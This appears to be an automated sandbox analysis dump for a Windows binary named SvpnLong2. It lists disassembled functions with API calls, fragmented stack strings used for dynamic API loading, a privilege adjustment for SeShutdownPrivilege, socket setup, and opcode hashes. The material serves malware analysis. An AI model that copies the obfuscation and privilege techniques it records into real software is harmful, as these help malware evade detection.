Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction ID: 0948e672c8493bafcadad0157efffbf8ae1c8d50cfbad625e575f7e653b507e9
Opcode Fuzzy Hash: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction Fuzzy Hash: DB510373B142A18BEB298F18E408F6D3AA9F7A43C5B65D039DB12DBF40D676C951CB40

Function 0000000180014A00 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f8422371ec332721cd13c44dc1e0176f841709e947141ba05e8a9c45ea45a2
Instruction ID: 1edec4c4cebc1673470c11ea14aef3b8f5c2e9745a639853c28660cbe6c7412c
Opcode Fuzzy Hash: f5f8422371ec332721cd13c44dc1e0176f841709e947141ba05e8a9c45ea45a2
Instruction Fuzzy Hash: C5516225239F364ECBC7DE24A144991F3A1FF5621B7094AAAD805DF031EB7ED38DA214

Function 000000018000FE20 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4590b975dab24af658791cc86aa89151e65eed76b18a2f5da7ce9a607ba0b28
Instruction ID: 3238e8b7ab2bde4ad10bacd5f65003cf62b26bf10107439dde524b2db511e552
Opcode Fuzzy Hash: a4590b975dab24af658791cc86aa89151e65eed76b18a2f5da7ce9a607ba0b28
Instruction Fuzzy Hash: 76418024529F728DCBD7DE359140951E3A1FF8A22BB054A9AC805DF131EF3E978EA214

Function 000000018002DA10 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f7a5e4c4290c2b52f6be53f3f90d7b6dd931954a60712f3b3a2301c0809c89a
Instruction ID: a1240374287903702ff544faffb643caae1fb57653258825f0cbd1a2f5270c93
Opcode Fuzzy Hash: 2f7a5e4c4290c2b52f6be53f3f90d7b6dd931954a60712f3b3a2301c0809c89a
Instruction Fuzzy Hash: 7F31387066C58D0BDB5D9E388C8E3B5BBC1D799306B1C827FE8C7C2152E95DD5034641

Function 000000018000C640 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de25f99b13e5ba1b73a64c922ddbeefe3a29d39639febc8490831fc10d3d005
Instruction ID: c185eb9acac2071c24da344f3b00961731c981e668c4c93bee018c2eb61fa454
Opcode Fuzzy Hash: 8de25f99b13e5ba1b73a64c922ddbeefe3a29d39639febc8490831fc10d3d005
Instruction Fuzzy Hash: B421AE2503FF3E48D7D78A788A90E52E292FF593A9B44CE55D041EA059EF2E84DE6104

Function 01866520 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 340c5199076a00e3694ca5cf02f1b2638b967668a52d1342b8fc0eb0f1e758f6
Instruction ID: b3e2acad163654b38fd1d9191f688d392fe6e7dd071ab9b2e63f7bf512a1c7b8
Opcode Fuzzy Hash: 340c5199076a00e3694ca5cf02f1b2638b967668a52d1342b8fc0eb0f1e758f6
Instruction Fuzzy Hash: 06317072611B40C9EB5CEF76E85136F23A6EBA8784F18D835EE898B708DF78C5118740

Function 000000018000F4A0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 386a24364172ee7ca34eceaf02bcd56f315af31f1bea00cb2c32d49233449f5d
Instruction ID: 18a7727f5bf2b91f573a1b31742d1f84e0922ec3076c7c4f9bef4f18a9eb2840
Opcode Fuzzy Hash: 386a24364172ee7ca34eceaf02bcd56f315af31f1bea00cb2c32d49233449f5d
Instruction Fuzzy Hash: D3310F2103AF2845CBD7AA7C9505D62F3E0FF0936AB194E5AD844D6069EB3FD1CFA214

Function 0185B744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0185B759

Part of subcall function 01853D28: HeapFree.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D3E
Part of subcall function 01853D28: _errno.LIBCMT ref: 01853D48
Part of subcall function 01853D28: GetLastError.KERNEL32(?,?,00000000,01854940,?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000), ref: 01853D50

free.LIBCMT ref: 0185B762
free.LIBCMT ref: 0185B76B
free.LIBCMT ref: 0185B774
free.LIBCMT ref: 0185B77D
free.LIBCMT ref: 0185B786
free.LIBCMT ref: 0185B78E
free.LIBCMT ref: 0185B797
free.LIBCMT ref: 0185B7A0
free.LIBCMT ref: 0185B7A9
free.LIBCMT ref: 0185B7B2
free.LIBCMT ref: 0185B7BB
free.LIBCMT ref: 0185B7C4
free.LIBCMT ref: 0185B7CD
free.LIBCMT ref: 0185B7D6
free.LIBCMT ref: 0185B7DF
free.LIBCMT ref: 0185B7EB
free.LIBCMT ref: 0185B7F7
free.LIBCMT ref: 0185B803
free.LIBCMT ref: 0185B80F
free.LIBCMT ref: 0185B81B
free.LIBCMT ref: 0185B827
free.LIBCMT ref: 0185B833
free.LIBCMT ref: 0185B83F
free.LIBCMT ref: 0185B84B
free.LIBCMT ref: 0185B857
free.LIBCMT ref: 0185B863
free.LIBCMT ref: 0185B86F
free.LIBCMT ref: 0185B87B
free.LIBCMT ref: 0185B887
free.LIBCMT ref: 0185B893
free.LIBCMT ref: 0185B89F
free.LIBCMT ref: 0185B8AB
free.LIBCMT ref: 0185B8B7
free.LIBCMT ref: 0185B8C3
free.LIBCMT ref: 0185B8CF
free.LIBCMT ref: 0185B8DB
free.LIBCMT ref: 0185B8E7
free.LIBCMT ref: 0185B8F3
free.LIBCMT ref: 0185B8FF
free.LIBCMT ref: 0185B90B
free.LIBCMT ref: 0185B917
free.LIBCMT ref: 0185B923
free.LIBCMT ref: 0185B92F
free.LIBCMT ref: 0185B93B
free.LIBCMT ref: 0185B947
free.LIBCMT ref: 0185B953
free.LIBCMT ref: 0185B95F
free.LIBCMT ref: 0185B96B
free.LIBCMT ref: 0185B977
free.LIBCMT ref: 0185B983
free.LIBCMT ref: 0185B98F
free.LIBCMT ref: 0185B99B
free.LIBCMT ref: 0185B9A7
free.LIBCMT ref: 0185B9B3
free.LIBCMT ref: 0185B9BF
free.LIBCMT ref: 0185B9CB
free.LIBCMT ref: 0185B9D7
free.LIBCMT ref: 0185B9E3
free.LIBCMT ref: 0185B9EF
free.LIBCMT ref: 0185B9FB
free.LIBCMT ref: 0185BA07
free.LIBCMT ref: 0185BA13
free.LIBCMT ref: 0185BA1F
free.LIBCMT ref: 0185BA2B
free.LIBCMT ref: 0185BA37
free.LIBCMT ref: 0185BA43
free.LIBCMT ref: 0185BA4F
free.LIBCMT ref: 0185BA5B
free.LIBCMT ref: 0185BA67
free.LIBCMT ref: 0185BA73
free.LIBCMT ref: 0185BA7F
free.LIBCMT ref: 0185BA8B
free.LIBCMT ref: 0185BA97
free.LIBCMT ref: 0185BAA3
free.LIBCMT ref: 0185BAAF
free.LIBCMT ref: 0185BABB
free.LIBCMT ref: 0185BAC7
free.LIBCMT ref: 0185BAD3
free.LIBCMT ref: 0185BADF
free.LIBCMT ref: 0185BAEB
free.LIBCMT ref: 0185BAF7
free.LIBCMT ref: 0185BB03
free.LIBCMT ref: 0185BB0F
free.LIBCMT ref: 0185BB1B
free.LIBCMT ref: 0185BB27

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: ee57294937ec00a78bb68957dfb700f4bc262173795e00b3005a12635d34ccb0
Instruction ID: 56f21bfca32532b04f598106484ed2bce9c61a4e6eabbdca6aafc10a47d815d5
Opcode Fuzzy Hash: ee57294937ec00a78bb68957dfb700f4bc262173795e00b3005a12635d34ccb0
Instruction Fuzzy Hash: 6081682221154AA5DF82FF39D8942AC2331FFE6FC5F846532AE4DFB524CE24CA458352

Function 018432F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 018433B3
GetProcAddress.KERNEL32 ref: 018433C3
GetProcAddress.KERNEL32 ref: 018433D3
GetProcAddress.KERNEL32 ref: 018433E3

Strings

eAsF, xrefs: 0184334D
ToSy, xrefs: 0184339A
yste, xrefs: 0184333F
Time, xrefs: 018433A8
GetS, xrefs: 01843338
.dll, xrefs: 0184332D
File, xrefs: 0184338C
Time, xrefs: 01843393
calF, xrefs: 01843377
ime, xrefs: 0184335B
ime, xrefs: 01843385
mTim, xrefs: 01843346
stem, xrefs: 018433A1
Kern, xrefs: 0184331F
Time, xrefs: 01843369
File, xrefs: 01843362
ileT, xrefs: 01843354
ileT, xrefs: 0184337E
ToLo, xrefs: 01843370
el32, xrefs: 01843326

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
Opcode ID: 5cd4746ae29bf578401c8b49eae63423d76ceddd85c4972e6b791c0edf9ee0ff
Instruction ID: 255424f6237a78f1feee04f933966b1de0378fd32cf583df066536309cb44d8a
Opcode Fuzzy Hash: 5cd4746ae29bf578401c8b49eae63423d76ceddd85c4972e6b791c0edf9ee0ff
Instruction Fuzzy Hash: 173102B2700A82DEEB40CFA5E5953EC7B71F758B88F41851AEA0D5FB18DA34C249CB44

Function 00007FF741126880 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF741116680: EncodePointer.KERNEL32 ref: 00007FF741116686

LoadLibraryW.KERNEL32 ref: 00007FF7411268EA
GetProcAddress.KERNEL32 ref: 00007FF741126910
DecodePointer.KERNEL32 ref: 00007FF741126A00
DecodePointer.KERNEL32 ref: 00007FF741126A12
DecodePointer.KERNEL32 ref: 00007FF741126B27

Strings

USER32.DLL, xrefs: 00007FF7411268E3
GetUserObjectInformationW, xrefs: 00007FF741126980
MessageBoxW, xrefs: 00007FF741126904
GetLastActivePopup, xrefs: 00007FF74112695E
GetActiveWindow, xrefs: 00007FF74112693C
GetProcessWindowStation, xrefs: 00007FF7411269B3

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2256938910-564504941
Opcode ID: 538e669cf976fecdc9aa7d1c01a34b18cc74f1fe5a6b81cb147a8d993fdc7e57
Instruction ID: 1060d2d7ae33b7547e689218860a79550adea70fcade6fcbf3af6022b62f4e33
Opcode Fuzzy Hash: 538e669cf976fecdc9aa7d1c01a34b18cc74f1fe5a6b81cb147a8d993fdc7e57
Instruction Fuzzy Hash: 8C81EA3191CB82C6EB52BB15F45436AF7A1FB85780F904135D99E52AA8DFBCE484CF20

Function 0185E7CC Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0185E811
GetProcAddress.KERNEL32 ref: 0185E82D
RtlEncodePointer.NTDLL ref: 0185E83F
GetProcAddress.KERNEL32 ref: 0185E856
RtlEncodePointer.NTDLL ref: 0185E85F
GetProcAddress.KERNEL32 ref: 0185E876
RtlEncodePointer.NTDLL ref: 0185E87F
GetProcAddress.KERNEL32 ref: 0185E896
RtlEncodePointer.NTDLL ref: 0185E89F
GetProcAddress.KERNEL32 ref: 0185E8BE
RtlEncodePointer.NTDLL ref: 0185E8C7
RtlDecodePointer.NTDLL ref: 0185E8FA
RtlDecodePointer.NTDLL ref: 0185E90A
RtlDecodePointer.NTDLL ref: 0185E960
RtlDecodePointer.NTDLL ref: 0185E981
RtlDecodePointer.NTDLL ref: 0185E99B

Strings

MessageBoxW, xrefs: 0185E823
GetProcessWindowStation, xrefs: 0185E8B4
GetLastActivePopup, xrefs: 0185E865
GetUserObjectInformationW, xrefs: 0185E885
GetActiveWindow, xrefs: 0185E845
USER32.DLL, xrefs: 0185E80A

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2643518689-564504941
Opcode ID: 040da1db35118ab33a9a449e803f58ea93ababc348d51bbfaac80c6499104c1d
Instruction ID: d6933bdb9118101463ac213a4544783e21ac4a9a06e211c051fc484a1af2e279
Opcode Fuzzy Hash: 040da1db35118ab33a9a449e803f58ea93ababc348d51bbfaac80c6499104c1d
Instruction Fuzzy Hash: 79511434202B4691FE95DB5AFD643A4A7A0FB4AF94F88402ADD0E83760EF38C759C300

Function 01843160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 018431DA
GetProcAddress.KERNEL32 ref: 018431E7
LoadLibraryA.KERNEL32 ref: 0184321B
GetProcAddress.KERNEL32 ref: 01843228
LoadLibraryA.KERNEL32 ref: 01843243
GetProcAddress.KERNEL32 ref: 01843250

Strings

Sid, xrefs: 0184323C
enMe, xrefs: 018431FF
.dll, xrefs: 018431A1
ship, xrefs: 01843210
Chec, xrefs: 018431F1
AndI, xrefs: 018431BA
mber, xrefs: 01843206
niti, xrefs: 018431C1
aliz, xrefs: 018431C8
pi32, xrefs: 0184319A
kTok, xrefs: 018431F8
Allo, xrefs: 018431AC
eSid, xrefs: 018431CF
Adva, xrefs: 01843193
Free, xrefs: 01843232
cate, xrefs: 018431B3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: c8c9065670e323be1393102ded12de7f9b7c90e2246bef289607ce25f7c81e93
Instruction ID: 3fe505bccc601f8c95e4d2b3d86a765b4d085a49459204125586a39bf7398d93
Opcode Fuzzy Hash: c8c9065670e323be1393102ded12de7f9b7c90e2246bef289607ce25f7c81e93
Instruction Fuzzy Hash: 36412472604B81DED710CFA1E49479D7BB4F758788F40411AEA4D9BB18DF79C219CB44

Function 01842DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 01842DE1
GetProcAddress.KERNEL32 ref: 01842DF4
GetProcAddress.KERNEL32 ref: 01842E07
GetProcAddress.KERNEL32 ref: 01842E1A
LoadLibraryA.KERNEL32 ref: 01842E2A
GetProcAddress.KERNEL32 ref: 01842E3D
LoadLibraryA.KERNEL32 ref: 01842EA6
GetProcAddress.KERNEL32 ref: 01842EB6
CloseHandle.KERNEL32 ref: 01842ECC
FreeLibrary.KERNEL32 ref: 01842EDA
FreeLibrary.KERNEL32 ref: 01842EE8

Strings

ADVAPI32.dll, xrefs: 01842DD7
GetLastError, xrefs: 01842EAC
OpenProcessToken, xrefs: 01842DE7
LookupPrivilegeValueA, xrefs: 01842E0D
SeShutdownPrivilege, xrefs: 01842E63
kernel32.dll, xrefs: 01842E20
AdjustTokenPrivileges, xrefs: 01842DFA
GetCurrentProcess, xrefs: 01842E30
KERNEL32.dll, xrefs: 01842E9F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: a1251e99da583caad535237882200cb55b940e38afdbe6359c7f517b58f57768
Instruction ID: 35c2e2e2c6cc59d15b5ff41a41f3aef2dfade312b3d17a84bce9556ae0817b8b
Opcode Fuzzy Hash: a1251e99da583caad535237882200cb55b940e38afdbe6359c7f517b58f57768
Instruction Fuzzy Hash: 9E314832215B4996EB40DF66FD543DA7361FB89B94F448026EE4E83724EE7CC24AC340

Function 01843A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 018419A0: WSAStartup.WS2_32 ref: 01841A19
Part of subcall function 018419A0: CreateEventA.KERNEL32 ref: 01841A2A

GetTickCount64.KERNEL32 ref: 01843AEF

Part of subcall function 01841BF0: ResetEvent.KERNEL32 ref: 01841C2D
Part of subcall function 01841BF0: timeGetTime.WINMM ref: 01841C3F
Part of subcall function 01841BF0: socket.WS2_32 ref: 01841C66

Sleep.KERNEL32 ref: 01843B4B
GetTickCount64.KERNEL32 ref: 01843B57
setsockopt.WS2_32 ref: 01843BB7
CancelIo.KERNEL32 ref: 01843BC1
closesocket.WS2_32 ref: 01843BD2
SetEvent.KERNEL32 ref: 01843BDC
TerminateThread.KERNEL32 ref: 01843C03
WaitForSingleObject.KERNEL32 ref: 01843C13
CloseHandle.KERNEL32 ref: 01843C20
Sleep.KERNEL32 ref: 01843C2B
CloseHandle.KERNEL32 ref: 01843C47
GetTickCount64.KERNEL32 ref: 01843D40

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: 8861769a933a786e18a5b44d992c332a8044cfb7c998d2fce70915724c3957bd
Instruction ID: de3887b52d1c1b4cf05429694ee301e08e245fca7ac8c869e47c74013a2ee6b5
Opcode Fuzzy Hash: 8861769a933a786e18a5b44d992c332a8044cfb7c998d2fce70915724c3957bd
Instruction Fuzzy Hash: D1715F36200B849AEB20DF35EC583DD3361FB85BA8F548615DE5E87AA8DF39C649C700

Function 00007FF7411328F0 Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 191fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7411329E0
WriteFile.KERNEL32 ref: 00007FF741132A7E
_invoke_watson_if_error.LIBCMTD ref: 00007FF741132B28
GetModuleFileNameW.KERNEL32 ref: 00007FF741132B4E
_invoke_watson_if_error.LIBCMTD ref: 00007FF741132B9C
_invoke_watson_if_error.LIBCMTD ref: 00007FF741132C49
_invoke_watson_if_error.LIBCMTD ref: 00007FF741132C8E
_invoke_watson_if_error.LIBCMTD ref: 00007FF741132CD1

Strings

_NMSG_WRITE, xrefs: 00007FF741132B18, 00007FF741132B8C, 00007FF741132C39, 00007FF741132C7E, 00007FF741132CC1
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 00007FF741132B11, 00007FF741132B85, 00007FF741132C32, 00007FF741132C77, 00007FF741132CBA
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 00007FF741132C40
Microsoft Visual C++ Runtime Library, xrefs: 00007FF741132CDC
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 00007FF741132B1F
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 00007FF741132B93
Runtime Error!Program: , xrefs: 00007FF741132AE8
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 00007FF741132C85
..., xrefs: 00007FF741132C0A
<program name unknown>, xrefs: 00007FF741132B58
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 00007FF741132CC8

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: _invoke_watson_if_error$File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)
API String ID: 2275850042-4106506411
Opcode ID: c8ff877b80514f9818199a65a5bff3e4242206bf63f628e278e99ad60e672663
Instruction ID: 8a3546497b2de788a55d97496eb94e59955baa36d5ad3534c2e0e40cc6d5cdc3
Opcode Fuzzy Hash: c8ff877b80514f9818199a65a5bff3e4242206bf63f628e278e99ad60e672663
Instruction Fuzzy Hash: 65A16B31A1CA86C6FB62BB14F4583AAB7A0FB84744F800136D68D42AA8DFBCD105CF51

Function 01861BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0186065C: RtlLookupFunctionEntry.KERNEL32 ref: 018606D0

__GetUnwindTryBlock.LIBCMT ref: 01861C34
__SetUnwindTryBlock.LIBCMT ref: 01861C5B

Part of subcall function 0185581C: RaiseException.KERNEL32 ref: 01855897

__GetUnwindTryBlock.LIBCMT ref: 01861C65
_getptd.LIBCMT ref: 01861CBB
_getptd.LIBCMT ref: 01861CCE
_getptd.LIBCMT ref: 01861CDA
_SetThrowImageBase.LIBCMT ref: 01861CEE
_getptd.LIBCMT ref: 01861D3E
_getptd.LIBCMT ref: 01861D51
_getptd.LIBCMT ref: 01861D5D
type_info::operator==.LIBCMT ref: 01861DC4
std::exception::exception.LIBCMT ref: 01861DFD
_getptd.LIBCMT ref: 01862030
std::exception::exception.LIBCMT ref: 018620A9

Strings

bad exception, xrefs: 01861DEA
csm, xrefs: 01861D09
csm, xrefs: 01861C7B
csm, xrefs: 01861E22

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: d6151ab0af39f61f0059ea009b49a01c921a8944d42449f52df1f21fc1264a95
Instruction ID: da6b4d20fb3f06c9f0e9903d787b69550a50115e0d8293785ee3ccc82175c42b
